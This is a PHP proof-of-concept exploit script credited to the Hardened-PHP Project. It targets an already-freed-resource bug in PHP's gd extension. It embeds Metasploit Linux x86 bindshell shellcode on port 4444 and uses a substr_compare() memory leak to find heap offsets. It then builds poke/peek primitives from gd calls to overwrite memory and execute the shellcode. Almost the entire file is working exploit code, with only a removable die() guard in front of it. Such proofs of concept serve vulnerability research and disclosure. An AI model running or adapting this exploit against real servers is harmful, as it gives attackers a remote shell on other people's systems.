<?php
////////////////////////////////////////////////////////////////////////
// _ _ _ _ ___ _ _ ___ //
// | || | __ _ _ _ __| | ___ _ _ ___ __| | ___ | _ \\| || || _ \\ //
// | __ |/ _` || \'_|/ _` |/ -_)| \' \\ / -_)/ _` ||___|| _/| __ || _/ //
// |_||_|\\__,_||_| \\__,_|\\___||_||_|\\___|\\__,_| |_| |_||_||_| //
// //
// Proof of concept code from the Hardened-PHP Project //
// (C) Copyright 2007 Stefan Esser //
// //
////////////////////////////////////////////////////////////////////////
// PHP gd already freed resource usage exploit //
////////////////////////////////////////////////////////////////////////
// This is meant as a protection against remote file inclusion.
die(\"REMOVE THIS LINE\");
// linux x86 bindshell on port 4444 from Metasploit
$shellcode = \"\\x29\\xc9\\x83\\xe9\\xeb\\xd9\\xee\\xd9\\x74\\x24\\xf4\\x5b\\x81\\x73\\x13\\x46\".
\"\\x32\\x3c\\xe5\\x83\\xeb\\xfc\\xe2\\xf4\\x77\\xe9\\x6f\\xa6\\x15\\x58\\x3e\\x8f\".
\"\\x20\\x6a\\xa5\\x6c\\xa7\\xff\\xbc\\x73\\x05\\x60\\x5a\\x8d\\x57\\x6e\\x5a\\xb6\".
\"\\xcf\\xd3\\x56\\x83\\x1e\\x62\\x6d\\xb3\\xcf\\xd3\\xf1\\x65\\xf6\\x54\\xed\\x06\".
\"\\x8b\\xb2\\x6e\\xb7\\x10\\x71\\xb5\\x04\\xf6\\x54\\xf1\\x65\\xd5\\x58\\x3e\\xbc\".
\"\\xf6\\x0d\\xf1\\x65\\x0f\\x4b\\xc5\\x55\\x4d\\x60\\x54\\xca\\x69\\x41\\x54\\x8d\".
\"\\x69\\x50\\x55\\x8b\\xcf\\xd1\\x6e\\xb6\\xcf\\xd3\\xf1\\x65\";
// Offsets used for the overwrite (will be overwritten by findOffsets()
$offset_1 = 0x55555555;
$offset_2 = 0x66666666;
findOffsets(); // Comment out if you want to just test the crash
class dummyclass { }
function myErrorHandler()
{
imagedestroy($GLOBALS[\'img\']);
// Clipping
$GLOBALS[\'x\'] = str_repeat(chr(0), 7311);
$GLOBALS[\'x\'][7310] = chr(0x00);
$GLOBALS[\'x\'][7309] = chr(0x01);
$GLOBALS[\'x\'][7308] = chr(0x00);
$GLOBALS[\'x\'][7307] = chr(0x7f);
$GLOBALS[\'x\'][7306] = chr(0xff);
$GLOBALS[\'x\'][7305] = chr(0xff);
$GLOBALS[\'x\'][7304] = chr(0xff);
$GLOBALS[\'x\'][7303] = chr(0);
$GLOBALS[\'x\'][7302] = chr(0);
$GLOBALS[\'x\'][7301] = chr(0);
$GLOBALS[\'x\'][7300] = chr(0);
$GLOBALS[\'x\'][7299] = chr(0x80);
$GLOBALS[\'x\'][7298] = chr(0);
$GLOBALS[\'x\'][7297] = chr(0);
$GLOBALS[\'x\'][7296] = chr(0);
// True Color Image
$GLOBALS[\'x\'][0x1c38] = chr(1);
// True Color Pixelmap (1st entry must be 0)
$GLOBALS[\'x\'][0x1c3c] = chr(0x08);
$GLOBALS[\'x\'][0x1c3d] = chr(0x80);
$GLOBALS[\'x\'][0x1c3e] = chr(0x04);
$GLOBALS[\'x\'][0x1c3f] = chr(0x08);
return true;
}
function poke($addr, $value)
{
$GLOBALS[\'img\'] = imagecreate(1, 1);
imagesetpixel($GLOBALS[\'img\'], $addr >> 2, new dummyclass(), $value);
}
function peek($addr)
{
$GLOBALS[\'img\'] = imagecreate(1, 1);
return imagecolorat($GLOBALS[\'img\'], $addr >> 2, new dummyclass());
}
printf(\"Using offsets %08x and %08x\\n\", $offset_1, $offset_2);
error_reporting(E_ALL);
set_error_handler(\"myErrorHandler\");
poke($offset_2, $offset_1);
unset($d);
// This function uses the substr_compare() vulnerability
// to get the offsets.
function findOffsets()
{
global $offset_1, $offset_2, $shellcode;
// We need to NOT clear these variables,
// otherwise the heap is too segmented
global $memdump, $d, $arr;
$sizeofHashtable = 39;
$maxlong = 0x7fffffff;
// Signature of a big endian Hashtable of size 256 with 1 element
$search = \"\\x00\\x01\\x00\\x00\\xff\\x00\\x00\\x00\\x01\\x00\\x00\\x00\";
$memdump = str_repeat(\"A\", 18192);
for ($i=0; $i<400; $i++) {
$d[$i]=array();
}
unset($d[350]);
$x = str_repeat(\"\\x01\", $sizeofHashtable);
unset($d[351]);
unset($d[352]);
$arr = array();
for ($i=0; $i<129; $i++) { $arr[$i] = 1; }
$arr[$shellcode] = 1;
for ($i=0; $i<129; $i++) { unset($arr[$i]); }
// If the libc memcmp leaks the information use it
// otherwise we only get a case insensitive memdump
$b = substr_compare(chr(65),chr(0),0,1,false) != 65;
for ($i=0; $i<18192; $i++) {
$y = substr_compare($x, chr(0), $i+1, $maxlong, $b);
$Y = substr_compare($x, chr(1), $i+1, $maxlong, $b);
if ($y-$Y == 1 || $Y-$y==1){
$y = chr($y);
if ($b && strtoupper($y)!=$y) {
if (substr_compare($x, $y, $i+1, $maxlong, false)==-1) {
$y = strtoupper($y);
}
}
$memdump[$i] = $y;
} else {
$y = substr_compare($x, chr(1), $i+1, $maxlong, $b);
$Y = substr_compare($x, chr(2), $i+1, $maxlong, $b);
if ($y-$Y != 1 && $Y-$y!=1){
$memdump[$i] = chr(1);
} else {
$memdump[$i] = chr(0);
}
}
}
// Search shellcode and hashtable and calculate memory address
$pos_shellcode = strpos($memdump, $shellcode);
$pos_hashtable = strpos($memdump, $search);
if ($pos_shellcode == 0 || $pos_hashtable == 0) {
die (\"Unable to find offsets\");
}
$addr = substr($memdump, $pos_hashtable+6*4, 4);
$addr = unpack(\"L\", $addr);
// Fill in both offsets
$offset_1 = $addr[1] + 32;
$offset_2 = $offset_1 - $pos_shellcode + $pos_hashtable + 8*4;
}
?>
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